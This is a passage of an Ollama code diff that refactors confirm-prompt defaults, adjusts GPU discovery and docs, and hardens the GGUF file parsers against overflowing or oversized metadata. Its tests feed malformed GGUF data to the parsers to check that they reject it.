`{"model":"best-local","description":"Local rec"}`+ + `]}`) + case "/api/status": + fmt.Fprint(w, `{"cloud":{"disabled":true,"source":"config"}}`) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + t.Setenv("OLLAMA_HOST", srv.URL) + + err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{ + Name: "droid", + ModelOverride: "llama3.2", + }) + if err == nil { + t.Fatal("expected deprecated model override to fail") + } + if !strings.Contains(prompt, "ollama launch droid --model best-local") { + t.Fatalf("expected local replacement command when cloud is disabled, got %q", prompt) + } + if strings.Contains(prompt, "ollama launch droid --model best-cloud:cloud") { + t.Fatalf("did not expect cloud replacement command when cloud is disabled, got %q", prompt) + } +} + func TestLaunchIntegration_ConfigureOnlyPrompt(t *testing.T) { tmpDir := t.TempDir() setLaunchTestHome(t, tmpDir) @@ -3456,7 +3817,7 @@ func TestLaunchIntegration_ConfigureOnlyPrompt(t *testing.T) { withIntegrationOverride(t, "stubsingle", runner) DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) { - return "llama3.2", nil + return "sample-model", nil } var prompts []string @@ -3473,9 +3834,9 @@ func TestLaunchIntegration_ConfigureOnlyPrompt(t *testing.T) { case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": - fmt.Fprint(w, `{"model":"llama3.2"}`) + fmt.Fprint(w, `{"model":"sample-model"}`) default: http.NotFound(w, r) } @@ -3699,7 +4060,7 @@ func TestLaunchIntegration_HeadlessSelectorFlowFailsWithoutPrompt(t *testing.T) case "/api/experimental/model-recommendations": fmt.Fprint(w, `{"recommendations":[]}`) case "/api/tags": - fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`) + fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`) case "/api/show": w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, `{"error":"model not found"}`) diff --git a/cmd/launch/opencode_test.go b/cmd/launch/opencode_test.go index 46d0c2a78..41becf83a 100644 --- a/cmd/launch/opencode_test.go +++ b/cmd/launch/opencode_test.go @@ -334,7 +334,7 @@ func TestOpenCodePrepareLaunchModelsWarnsForLowLocalContext(t *testing.T) { var gotPrompt string DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) { gotPrompt = prompt - if !options.DefaultNo { + if options.Default != ConfirmDefaultNo { t.Fatal("expected warning prompt to default to no") } return false, nil diff --git a/cmd/launch/selector_hooks.go b/cmd/launch/selector_hooks.go index a30c16b8a..49b13f43b 100644 --- a/cmd/launch/selector_hooks.go +++ b/cmd/launch/selector_hooks.go @@ -27,11 +27,18 @@ var errCancelled = ErrCancelled // When set, ConfirmPrompt delegates to it instead of using raw terminal I/O. var DefaultConfirmPrompt func(prompt string, options ConfirmOptions) (bool, error) +type ConfirmDefault int + +const ( + ConfirmDefaultYes ConfirmDefault = iota + ConfirmDefaultNo +) + // ConfirmOptions customizes labels for confirmation prompts. type ConfirmOptions struct { - YesLabel string - NoLabel string - DefaultNo bool + YesLabel string + NoLabel string + Default ConfirmDefault } // SingleSelector is a function type for single item selection. @@ -112,8 +119,9 @@ func ConfirmPromptWithOptions(prompt string, options ConfirmOptions) (bool, erro } defer term.Restore(fd, oldState) - if options.DefaultNo { - fmt.Fprintf(os.Stderr, "%s [\033[1my\033[0m/N] ", prompt) + defaultNo := options.Default == ConfirmDefaultNo + if defaultNo { + fmt.Fprintf(os.Stderr, "%s (y/\033[1mN\033[0m) ", prompt) } else { fmt.Fprintf(os.Stderr, "%s (\033[1my\033[0m/n) ", prompt) } @@ -129,7 +137,7 @@ func ConfirmPromptWithOptions(prompt string, options ConfirmOptions) (bool, erro fmt.Fprintf(os.Stderr, "yes\r\n") return true, nil case 13: - if options.DefaultNo { + if defaultNo { fmt.Fprintf(os.Stderr, "no\r\n") return false, nil } diff --git a/cmd/tui/confirm.go b/cmd/tui/confirm.go index bb1044aa5..a0060539a 100644 --- a/cmd/tui/confirm.go +++ b/cmd/tui/confirm.go @@ -115,7 +115,7 @@ func RunConfirmWithOptions(prompt string, options ConfirmOptions) (bool, error) prompt: prompt, yesLabel: yesLabel, noLabel: noLabel, - yes: !options.DefaultNo, + yes: options.Default != launch.ConfirmDefaultNo, } p := tea.NewProgram(m) diff --git a/discover/runner.go b/discover/runner.go index f0cfe8fc3..2c533c332 100644 --- a/discover/runner.go +++ b/discover/runner.go @@ -67,6 +67,15 @@ func GPUDevices(ctx context.Context, runners []ml.FilteredRunnerDiscovery) []ml. requested := envconfig.LLMLibrary() jetpack := cudaJetpack() + // If the detected JetPack runner isn't installed, clear the override so + // normal discovery can select a standard CUDA build (e.g. cuda_v13, + // which supports Orin on JetPack 7). + if jetpack != "" { + if _, ok := libDirs[filepath.Join(ml.LibOllamaPath, "cuda_"+jetpack)]; !ok { + jetpack = "" + } + } + // For our initial discovery pass, we gather all the known GPUs through // all the libraries that were detected. This pass may include GPUs that // are enumerated, but not actually supported. diff --git a/docs/development.md b/docs/development.md index ef28cee88..dec7b5557 100644 --- a/docs/development.md +++ b/docs/development.md @@ -51,10 +51,10 @@ cmake -B build . -DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=nat cmake -B build . -DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DCMAKE_HIP_ARCHITECTURES=gfx1100 ``` -You can tune GGML build options by setting `GGML_*` values during configure. For example, to build CUDA v12 for Pascal without flash attention kernels: +You can tune GGML build options by setting `GGML_*` values during configure. For example, to disable CUDA flash attention kernels for local debugging: ```shell -cmake -B build . -DOLLAMA_LLAMA_BACKENDS=cuda_v12 -DCMAKE_CUDA_ARCHITECTURES=61 -DGGML_CUDA_FA=OFF +cmake -B build . -DOLLAMA_LLAMA_BACKENDS=cuda_v12 -DGGML_CUDA_FA=OFF ``` ## macOS (Apple Silicon) diff --git a/docs/faq.mdx b/docs/faq.mdx index 47f06529d..7cedacece 100644 --- a/docs/faq.mdx +++ b/docs/faq.mdx @@ -343,7 +343,7 @@ When loading a new model, Ollama evaluates the required VRAM for the model again ## How can I enable Flash Attention? -Flash Attention is a feature of most modern models that can significantly reduce memory usage as the context size grows. To enable Flash Attention, set the `OLLAMA_FLASH_ATTENTION` environment variable to `1` when starting the Ollama server. +Flash Attention is a feature of most modern models that can significantly reduce memory usage as the context size grows. Ollama uses Flash Attention automatically when the selected backend and devices support it. To force Flash Attention on, set `OLLAMA_FLASH_ATTENTION=1` when starting the Ollama server. To disable it, set `OLLAMA_FLASH_ATTENTION=0`. ## How can I set the quantization type for the K/V cache? diff --git a/docs/gpu.mdx b/docs/gpu.mdx index 9658283a6..32c5f6886 100644 --- a/docs/gpu.mdx +++ b/docs/gpu.mdx @@ -68,7 +68,7 @@ using the `amdgpu-install` utility from | Family | Cards and accelerators | | -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| AMD Radeon RX | `9070 XT` `9070 GRE` `9070` `9060 XT` `9060 XT LP` `9060` `7900 XTX` `7900 XT` `7900 GRE` `7800 XT` `7700 XT` `7700` `7600 XT` `7600` `6950 XT` `6900 XTX` `6900XT` `6800 XT` `6800` `5700 XT` `5700` `5600 XT` `5500 XT` | +| AMD Radeon RX | `9070 XT` `9070 GRE` `9070` `9060 XT` `9060 XT LP` `9060` `7900 XTX` `7900 XT` `7900 GRE` `7800 XT` `7700 XT` `7700` `7600 XT` `7600` `6950 XT` `6900 XTX` `6900XT` `6800 XT` `6800` | | AMD Radeon AI PRO | `R9700` `R9600D` | | AMD Radeon PRO | `W7900` `W7800` `W7700` `W7600` `W7500` `W6900X` `W6800X Duo` `W6800X` `W6800` `V620` | | AMD Ryzen AI | `Ryzen AI Max+ 395` `Ryzen AI Max 390` `Ryzen AI Max 385` `Ryzen AI 9 HX 475` `Ryzen AI 9 HX 470` `Ryzen AI 9 465` `Ryzen AI 9 HX 375` `Ryzen AI 9 HX 370` `Ryzen AI 9 365` | @@ -80,8 +80,8 @@ Ollama requires an AMD ROCm v7 / HIP7-capable driver stack on Windows. | Family | Cards and accelerators | | -------------- | -------------------------------------------------------------------------------------------------------------------- | -| AMD Radeon RX | `7900 XTX` `7900 XT` `7900 GRE` `7800 XT` `7700 XT` `7600 XT` `7600` `6950 XT` `6900 XTX` `6900XT` `6800 XT` `6800` | -| AMD Radeon PRO | `W7900` `W7800` `W7700` `W7600` `W7500` `W6900X` `W6800X Duo` `W6800X` `W6800` `V620` | +| AMD Radeon RX | `7900 XTX` `7900 XT` `7900 GRE` `7800 XT` `7700 XT` `7600 XT` `7600` | +| AMD Radeon PRO | `W7900` `W7800` `W7700` `W7600` `W7500` | ### Overrides on Linux @@ -107,13 +107,10 @@ This table shows some example GPUs that map to these LLVM targets: | gfx90a | Radeon Instinct MI210/MI250 | | gfx942 | Radeon Instinct MI300X/MI300A | | gfx950 | Radeon Instinct MI350X | -| gfx1010 | Radeon RX 5700 XT | -| gfx1012 | Radeon RX 5500 XT | | gfx1030 | Radeon PRO V620 | | gfx1100 | Radeon PRO W7900 | | gfx1101 | Radeon PRO W7700 | | gfx1102 | Radeon RX 7600 | -| gfx1103 | Radeon 780M | | gfx1150 | Ryzen AI 9 HX 375 | | gfx1151 | Ryzen AI Max+ 395 | | gfx1200 | Radeon RX 9070 | diff --git a/fs/ggml/ggml.go b/fs/ggml/ggml.go index 4b4fcb161..7d83b93a5 100644 --- a/fs/ggml/ggml.go +++ b/fs/ggml/ggml.go @@ -520,10 +520,49 @@ func (t Tensor) Elements() uint64 { return count } +func (t Tensor) elements() (uint64, bool) { + var count uint64 = 1 + for _, n := range t.Shape { + if n != 0 && count > ^uint64(0)/n { + return 0, false + } + count *= n + } + return count, true +} + func (t Tensor) Size() uint64 { return t.Elements() * t.typeSize() / t.blockSize() } +func (t Tensor) size() (uint64, bool) { + elements, ok := t.elements() + if !ok { + return 0, false + } + + typeSize := t.typeSize() + blockSize := t.blockSize() + if typeSize == 0 || blockSize == 0 { + return 0, false + } + + rowSize := uint64(1) + if len(t.Shape) > 0 { + rowSize = t.Shape[0] + } + if rowSize%blockSize != 0 { + return 0, false + } + + blocks := elements / blockSize + if blocks > ^uint64(0)/typeSize { + return 0, false + } + + return blocks * typeSize, true +} + func (t Tensor) Type() string { return TensorType(t.Kind).String() } diff --git a/fs/ggml/gguf.go b/fs/ggml/gguf.go index 33560182e..07c261826 100644 --- a/fs/ggml/gguf.go +++ b/fs/ggml/gguf.go @@ -14,9 +14,14 @@ import ( "strings" "github.com/ollama/ollama/fs" + fsgguf "github.com/ollama/ollama/fs/gguf" "golang.org/x/sync/errgroup" ) +const ( + maxGGUFWriteConcurrency = 2 +) + type containerGGUF struct { ByteOrder binary.ByteOrder @@ -202,6 +207,9 @@ func (llm *gguf) Decode(rs io.ReadSeeker) error { if err != nil { return fmt.Errorf("failed to read tensor dimensions: %w", err) } + if dims > fsgguf.MaxTensorDims { + return fmt.Errorf("tensor %q dimensions %d exceeds maximum %d", name, dims, fsgguf.MaxTensorDims) + } shape := make([]uint64, dims) for i := 0; uint32(i) < dims; i++ { @@ -229,13 +237,23 @@ func (llm *gguf) Decode(rs io.ReadSeeker) error { } llm.tensors = append(llm.tensors, &tensor) - llm.parameters += tensor.Elements() + elements, ok := tensor.elements() + if !ok { + return fmt.Errorf("tensor %q elements overflow", tensor.Name) + } + if llm.parameters > maxUint64()-elements { + return fmt.Errorf("parameter count overflow") + } + llm.parameters += elements } // patch KV with parameter count llm.kv["general.parameter_count"] = llm.parameters alignment := llm.kv.Uint("general.alignment", 32) + if alignment == 0 { + return fmt.Errorf("invalid GGUF alignment: 0") + } offset, err := rs.Seek(0, io.SeekCurrent) if err != nil { @@ -243,6 +261,9 @@ func (llm *gguf) Decode(rs io.ReadSeeker) error { } padding := ggufPadding(offset, int64(alignment)) + if padding > int64(maxInt64())-offset { + return fmt.Errorf("GGUF tensor offset overflow") + } llm.tensorOffset = uint64(offset + padding) // get file size to validate tensor bounds @@ -256,7 +277,15 @@ func (llm *gguf) Decode(rs io.ReadSeeker) error { } for _, tensor := range llm.tensors { - tensorEnd := llm.tensorOffset + tensor.Offset + tensor.Size() + tensorSize, ok := tensor.size() + if !ok { + return fmt.Errorf("tensor %q size overflow", tensor.Name) + } + + tensorEnd, ok := checkedAdd(llm.tensorOffset, tensor.Offset, tensorSize) + if !ok { + return fmt.Errorf("tensor %q offset+size overflows", tensor.Name) + } if tensorEnd > uint64(fileSize) { return fmt.Errorf("tensor %q offset+size (%d) exceeds file size (%d)", tensor.Name, tensorEnd, fileSize) } @@ -271,7 +300,10 @@ func (llm *gguf) Decode(rs io.ReadSeeker) error { return fmt.Errorf("failed to seek to init padding: %w", err) } - if _, err := rs.Seek(int64(tensor.Size()), io.SeekCurrent); err != nil { + if tensorSize > maxInt64() { + return fmt.Errorf("tensor %q size %d exceeds maximum %d", tensor.Name, tensorSize, maxInt64()) + } + if _, err := rs.Seek(int64(tensorSize), io.SeekCurrent); err != nil { return fmt.Errorf("failed to seek to tensor: %w", err) } } @@ -298,11 +330,22 @@ func readGGUFV1String(llm *gguf, r io.Reader) (string, error) { if err := binary.Read(r, llm.ByteOrder, &length); err != nil { return "", err } + if length == 0 { + return "", fmt.Errorf("invalid GGUF v1 string length: 0") + } + + size, err := checkGGUFLength(length, "string") + if err != nil { + return "", err + } var b bytes.Buffer - if _, err := io.CopyN(&b, r, int64(length)); err != nil { + if _, err := io.CopyN(&b, r, int64(size)); err != nil { return "", err } + if b.Bytes()[b.Len()-1] != 0 { + return "", fmt.Errorf("invalid GGUF v1 string terminator") + } // gguf v1 strings are null-terminated b.Truncate(b.Len() - 1) @@ -320,7 +363,9 @@ func readGGUFV1StringsData(llm *gguf, r io.Reader, a *array[string]) (any, error a.values[i] = e } else { - _ = discardGGUFString(llm, r) + if err := discardGGUFString(llm, r); err != nil { + return nil, err + } } } @@ -334,7 +379,10 @@ func discardGGUFString(llm *gguf, r io.Reader) error { return err } - size := int(llm.ByteOrder.Uint64(buf)) + size, err := checkGGUFLength(llm.ByteOrder.Uint64(buf), "string") + if err != nil { + return err + } for size > 0 { n, err := r.Read(llm.scratch[:min(size, cap(llm.scratch))]) if err != nil { @@ -356,7 +404,10 @@ func readGGUFString(llm *gguf, r io.Reader) (string, error) { return "", err } - length := int(llm.ByteOrder.Uint64(buf)) + length, err := checkGGUFLength(llm.ByteOrder.Uint64(buf), "string") + if err != nil { + return "", err + } if length > len(llm.scratch) { buf = make([]byte, length) } else { @@ -394,7 +445,9 @@ func readGGUFStringsData(llm *gguf, r io.Reader, a *array[string]) (any, error) a.values[i] = e } else { - discardGGUFString(llm, r) + if err := discardGGUFString(llm, r); err != nil { + return nil, err + } } } @@ -413,12 +466,20 @@ func (a *array[T]) MarshalJSON() ([]byte, error) { return json.Marshal(a.values) } -func newArray[T any](size, maxSize int) *array[T] { - a := array[T]{size: size} - if maxSize < 0 || size <= maxSize { - a.values = make([]T, size) +func newArray[T any](size uint64, maxSize int) (*array[T], error) { + if size > uint64(maxInt()) { + return nil, fmt.Errorf("GGUF array size %d exceeds maximum %d", size, maxInt()) } - return &a + if size > fsgguf.MaxArraySize { + return nil, fmt.Errorf("GGUF array size %d exceeds maximum %d", size, fsgguf.MaxArraySize) + } + + n := int(size) + a := array[T]{size: n} + if maxSize < 0 || n <= maxSize { + a.values = make([]T, n) + } + return &a, nil } func readGGUFArray(llm *gguf, r io.Reader) (any, error) { @@ -434,40 +495,32 @@ func readGGUFArray(llm *gguf, r io.Reader) (any, error) { switch t { case ggufTypeUint8: - a := newArray[uint8](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[uint8](llm, r, n) case ggufTypeInt8: - a := newArray[int8](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[int8](llm, r, n) case ggufTypeUint16: - a := newArray[uint16](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[uint16](llm, r, n) case ggufTypeInt16: - a := newArray[int16](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[int16](llm, r, n) case ggufTypeUint32: - a := newArray[uint32](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[uint32](llm, r, n) case ggufTypeInt32: - a := newArray[int32](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[int32](llm, r, n) case ggufTypeUint64: - a := newArray[uint64](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[uint64](llm, r, n) case ggufTypeInt64: - a := newArray[int64](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[int64](llm, r, n) case ggufTypeFloat32: - a := newArray[float32](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[float32](llm, r, n) case ggufTypeFloat64: - a := newArray[float64](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[float64](llm, r, n) case ggufTypeBool: - a := newArray[bool](int(n), llm.maxArraySize) - return readGGUFArrayData(llm, r, a) + return readGGUFArrayOf[bool](llm, r, n) case ggufTypeString: - a := newArray[string](int(n), llm.maxArraySize) + a, err := newArray[string](n, llm.maxArraySize) + if err != nil { + return nil, err + } if llm.Version == 1 { return readGGUFV1StringsData(llm, r, a) } @@ -478,6 +531,14 @@ func readGGUFArray(llm *gguf, r io.Reader) (any, error) { } } +func readGGUFArrayOf[T any](llm *gguf, r io.Reader, n uint64) (any, error) { + a, err := newArray[T](n, llm.maxArraySize) + if err != nil { + return nil, err + } + return readGGUFArrayData(llm, r, a) +} + func readGGUFArrayData[T any](llm *gguf, r io.Reader, a *array[T]) (any, error) { for i := range a.size { e, err := readGGUF[T](llm, r) @@ -493,6 +554,39 @@ func readGGUFArrayData[T any](llm *gguf, r io.Reader, a *array[T]) (any, error) return a, nil } +func checkGGUFLength(n uint64, kind string) (int, error) { + if n > uint64(maxInt()) { + return 0, fmt.Errorf("GGUF %s length %d exceeds maximum %d", kind, n, maxInt()) + } + if n > fsgguf.MaxStringLength { + return 0, fmt.Errorf("GGUF %s length %d exceeds maximum %d", kind, n, fsgguf.MaxStringLength) + } + return int(n), nil +} + +func maxInt() int { + return int(^uint(0) >> 1) +} + +func maxInt64() uint64 { + return 1<<63 - 1 +} + +func maxUint64() uint64 { + return ^uint64(0) +} + +func checkedAdd(ns ...uint64) (uint64, bool) { + var sum uint64 + for _, n := range ns { + if sum > maxUint64()-n { + return 0, false + } + sum += n + } + return sum, true +} + // writeGGUFArray writes a slice s of type E to the write with a gguf type of t func writeGGUFArray[S ~[]E, E any](w io.Writer, t uint32, s S) error { if err := binary.Write(w, binary.LittleEndian, ggufTypeArray); err != nil { @@ -580,8 +674,7 @@ func WriteGGUF(f *os.File, kv fs.Config, ts []*Tensor) error { offset += ggufPadding(offset, int64(alignment)) var g errgroup.Group - g.SetLimit(runtime.GOMAXPROCS(0)) - // TODO consider reducing if tensors size * gomaxprocs is larger than free memory + g.SetLimit(min(runtime.GOMAXPROCS(0), maxGGUFWriteConcurrency)) for _, t := range ts { w := io.NewOffsetWriter(f, offset+int64(t.Offset)) g.Go(func() error { diff --git a/fs/ggml/gguf_test.go b/fs/ggml/gguf_test.go index 4d1145673..5e0db1697 100644 --- a/fs/ggml/gguf_test.go +++ b/fs/ggml/gguf_test.go @@ -2,12 +2,14 @@ package ggml import ( "bytes" + "encoding/binary" "math/rand/v2" "os" "strings" "testing" "github.com/google/go-cmp/cmp" + fsgguf "github.com/ollama/ollama/fs/gguf" ) func TestWriteGGUF(t *testing.T) { @@ -127,3 +129,141 @@ func TestWriteGGUF(t *testing.T) { } }) } + +func TestDecodeRejectsMalformedGGUFMetadata(t *testing.T) { + testCases := []struct { + name string + data func() []byte + err string + }{ + { + name: "v1_zero_length_string", + data: func() []byte { + var b bytes.Buffer + writeRaw(t, &b, []byte("GGUF")) + writeRaw(t, &b, uint32(1)) + writeRaw(t, &b, uint32(0)) // tensors + writeRaw(t, &b, uint32(1)) // key-values + writeRaw(t, &b, uint64(0)) + return b.Bytes() + }, + err: "invalid GGUF v1 string length", + }, + { + name: "oversized_string", + data: func() []byte { + var b bytes.Buffer + writeRawGGUFHeader(t, &b, 0, 1) + writeRaw(t, &b, uint64(fsgguf.MaxStringLength+1)) + return b.Bytes() + }, + err: "string length", + }, + { + name: "oversized_collected_array", + data: func() []byte { + var b bytes.Buffer + writeRawGGUFHeader(t, &b, 0, 1) + writeRawGGUFString(t, &b, "tokenizer.ggml.tokens") + writeRaw(t, &b, ggufTypeArray) + writeRaw(t, &b, ggufTypeString) + writeRaw(t, &b, uint64(fsgguf.MaxArraySize+1)) + return b.Bytes() + }, + err: "array size", + }, + { + name: "zero_alignment", + data: func() []byte { + var b bytes.Buffer + writeRawGGUFHeader(t, &b, 0, 1) + writeRawGGUFString(t, &b, "general.alignment") + writeRaw(t, &b, ggufTypeUint32) + writeRaw(t, &b, uint32(0)) + return b.Bytes() + }, + err: "invalid GGUF alignment", + }, + { + name: "tensor_elements_overflow", + data: func() []byte { + var b bytes.Buffer + writeRawGGUFHeader(t, &b, 1, 0) + writeRawGGUFString(t, &b, "bad.weight") + writeRaw(t, &b, uint32(2)) + writeRaw(t, &b, ^uint64(0)) + writeRaw(t, &b, uint64(2)) + writeRaw(t, &b, uint32(TensorTypeF32)) + writeRaw(t, &b, uint64(0)) + return b.Bytes() + }, + err: "elements overflow", + }, + { + name: "too_many_tensor_dimensions", + data: func() []byte { + var b bytes.Buffer + writeRawGGUFHeader(t, &b, 1, 0) + writeRawGGUFString(t, &b, "bad.weight") + writeRaw(t, &b, uint32(fsgguf.MaxTensorDims+1)) + return b.Bytes() + }, + err: "dimensions", + }, + { + name: "tensor_row_not_multiple_of_block_size", + data: func() []byte { + var b bytes.Buffer + writeRawGGUFHeader(t, &b, 1, 0) + writeRawGGUFString(t, &b, "bad.weight") + writeRaw(t, &b, uint32(1)) + writeRaw(t, &b, uint64(31)) + writeRaw(t, &b, uint32(TensorTypeQ4_0)) + writeRaw(t, &b, uint64(0)) + return b.Bytes() + }, + err: "size overflow", + }, + } + + for _, tt := range testCases { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + defer func() { + if r := recover(); r != nil { + t.Fatalf("Decode panicked: %v", r) + } + }() + + _, err := Decode(bytes.NewReader(tt.data()), -1) + if err == nil { + t.Fatal("Decode unexpectedly succeeded") + } + if !strings.Contains(err.Error(), tt.err) { + t.Fatalf("Decode error = %q, want containing %q", err, tt.err) + } + }) + } +} + +func writeRawGGUFHeader(t *testing.T, b *bytes.Buffer, tensors, kv uint64) { + t.Helper() + writeRaw(t, b, []byte("GGUF")) + writeRaw(t, b, uint32(3)) + writeRaw(t, b, tensors) + writeRaw(t, b, kv) +} + +func writeRawGGUFString(t *testing.T, b *bytes.Buffer, s string) { + t.Helper() + writeRaw(t, b, uint64(len(s))) + writeRaw(t, b, []byte(s)) +} + +func writeRaw(t *testing.T, b *bytes.Buffer, v any) { + t.Helper() + if err := binary.Write(b, binary.LittleEndian, v); err != nil { + t.Fatal(err) + } +} diff --git a/fs/gguf/gguf.go b/fs/gguf/gguf.go index bbb9bb410..4468a3140 100644 --- a/fs/gguf/gguf.go +++ b/fs/gguf/gguf.go @@ -13,6 +13,13 @@ import ( "strings" ) +const ( + MaxStringLength = 16 << 20 + MaxArraySize = 64 << 20 + + MaxTensorDims = 4 +) + const ( typeUint8 uint32 = iota typeInt8 @@ -78,6 +85,9 @@ func Open(path string) (f *File, err error) { offset := f.reader.offset alignment := cmp.Or(f.KeyValue("general.alignment").Int(), 32) + if alignment <= 0 { + return fmt.Errorf("%w alignment %d", ErrUnsupported, alignment) + } f.offset = offset + (alignment-offset%alignment)%alignment return nil } @@ -100,6 +110,9 @@ func (f *File) readTensor() (TensorInfo, error) { if err != nil { return TensorInfo{}, err } + if dims > MaxTensorDims { + return TensorInfo{}, fmt.Errorf("%w tensor dimensions %d exceeds maximum %d", ErrUnsupported, dims, MaxTensorDims) + } shape := make([]uint64, dims) for i := range dims { @@ -119,12 +132,16 @@ func (f *File) readTensor() (TensorInfo, error) { return TensorInfo{}, err } - return TensorInfo{ + ti := TensorInfo{ Name: name, Offset: offset, Shape: shape, Type: TensorType(type_), - }, nil + } + if _, ok := ti.numBytes(); !ok { + return TensorInfo{}, fmt.Errorf("%w tensor %q size overflows", ErrUnsupported, ti.Name) + } + return ti, nil } func (f *File) readKeyValue() (KeyValue, error) { @@ -191,11 +208,16 @@ func readString(f *File) (string, error) { return "", err } - if int(n) > len(f.bts) { - f.bts = make([]byte, n) + length, err := checkedLength(n, "string", MaxStringLength) + if err != nil { + return "", err } - bts := f.bts[:n] + if length > len(f.bts) { + f.bts = make([]byte, length) + } + + bts := f.bts[:length] if _, err := io.ReadFull(f.reader, bts); err != nil { return "", err } @@ -246,8 +268,13 @@ func readArray(f *File) (any, error) { } func readArrayData[T any](f *File, n uint64) (s []T, err error) { - s = make([]T, n) - for i := range n { + size, err := checkedLength(n, "array size", MaxArraySize) + if err != nil { + return nil, err + } + + s = make([]T, size) + for i := range size { e, err := read[T](f) if err != nil { return nil, err @@ -260,8 +287,13 @@ func readArrayData[T any](f *File, n uint64) (s []T, err error) { } func readArrayString(f *File, n uint64) (s []string, err error) { - s = make([]string, n) - for i := range n { + size, err := checkedLength(n, "array size", MaxArraySize) + if err != nil { + return nil, err + } + + s = make([]string, size) + for i := range size { e, err := readString(f) if err != nil { return nil, err @@ -273,6 +305,24 @@ func readArrayString(f *File, n uint64) (s []string, err error) { return s, nil } +func checkedLength(n uint64, kind string, max uint64) (int, error) { + if n > uint64(maxInt()) { + return 0, fmt.Errorf("%s %d exceeds maximum %d", kind, n, maxInt()) + } + if n > max { + return 0, fmt.Errorf("%s %d exceeds maximum %d", kind, n, max) + } + return int(n), nil +} + +func maxInt() int { + return int(^uint(0) >> 1) +} + +func maxInt64() uint64 { + return 1<<63 - 1 +} + func (f *File) Close() error { f.keyValues.stop() f.tensors.stop() @@ -337,11 +387,57 @@ func (f *File) TensorInfos() iter.Seq2[int, TensorInfo] { func (f *File) TensorReader(name string) (TensorInfo, io.Reader, error) { t := f.TensorInfo(name) - if t.NumBytes() == 0 { + if err := f.Err(); err != nil { + return TensorInfo{}, nil, err + } + if t.Name == "" { + return TensorInfo{}, nil, fmt.Errorf("tensor %s not found", name) + } + numBytes, ok := t.numBytes() + if !ok { + return TensorInfo{}, nil, fmt.Errorf("%w tensor %q size overflows", ErrUnsupported, t.Name) + } + if numBytes == 0 { return TensorInfo{}, nil, fmt.Errorf("tensor %s not found", name) } // fast forward through tensor info if we haven't already - _ = f.tensors.rest() - return t, io.NewSectionReader(f.file, f.offset+int64(t.Offset), t.NumBytes()), nil + f.tensors.rest() + if err := f.Err(); err != nil { + return TensorInfo{}, nil, err + } + + if t.Offset > maxInt64() { + return TensorInfo{}, nil, fmt.Errorf("%w tensor %q offset %d exceeds maximum %d", ErrUnsupported, t.Name, t.Offset, maxInt64()) + } + offset := f.offset + int64(t.Offset) + if offset < f.offset { + return TensorInfo{}, nil, fmt.Errorf("%w tensor %q offset overflows", ErrUnsupported, t.Name) + } + + fileInfo, err := f.file.Stat() + if err != nil { + return TensorInfo{}, nil, err + } + if numBytes > fileInfo.Size()-offset { + return TensorInfo{}, nil, fmt.Errorf("%w tensor %q offset+size exceeds file size", ErrUnsupported, t.Name) + } + + return t, io.NewSectionReader(f.file, offset, numBytes), nil +} + +func (f *File) Err() error { + // Key/value and tensor metadata are read lazily, so parse errors can surface + // after Open succeeds. + if f.keyValues != nil { + if err := f.keyValues.Err(); err != nil { + return err + } + } + if f.tensors != nil { + if err := f.tensors.Err(); err != nil { + return err + } + } + return nil } diff --git a/fs/gguf/gguf_internal_test.go b/fs/gguf/gguf_internal_test.go new file mode 100644 index 000000000..3bf0dcf92 --- /dev/null +++ b/fs/gguf/gguf_internal_test.go @@ -0,0 +1,158 @@ +package gguf + +import ( + "bytes" + "encoding/binary" + "os" + "strings" + "testing" +) + +func TestReadStringRejectsOversizedLength(t *testing.T) { + var b bytes.Buffer + writeInternalRaw(t, &b, uint64(MaxStringLength+1)) + + _, err := readString(testFile(b.Bytes())) + if err == nil { + t.Fatal("readString unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "string") { + t.Fatalf("readString error = %q, want string length error", err) + } +} + +func TestReadArrayRejectsOversizedCollectedArray(t *testing.T) { + var b bytes.Buffer + writeInternalRaw(t, &b, typeString) + writeInternalRaw(t, &b, uint64(MaxArraySize+1)) + + _, err := readArray(testFile(b.Bytes())) + if err == nil { + t.Fatal("readArray unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "array size") { + t.Fatalf("readArray error = %q, want array size error", err) + } +} + +func TestTensorInfoRejectsRowNotMultipleOfBlockSize(t *testing.T) { + ti := TensorInfo{ + Name: "bad.weight", + Shape: []uint64{31}, + Type: TensorTypeQ4_0, + } + + if _, ok := ti.numBytes(); ok { + t.Fatal("numBytes unexpectedly succeeded") + } +} + +func TestTensorReaderReturnsLazyParseError(t *testing.T) { + var b bytes.Buffer + writeInternalRaw(t, &b, []byte("GGUF")) + writeInternalRaw(t, &b, uint32(3)) + writeInternalRaw(t, &b, uint64(1)) // tensors + writeInternalRaw(t, &b, uint64(0)) // key-values + writeInternalString(t, &b, "bad.weight") + writeInternalRaw(t, &b, uint32(MaxTensorDims+1)) + + p := writeTempFile(t, b.Bytes()) + f, err := Open(p) + if err != nil { + t.Fatal(err) 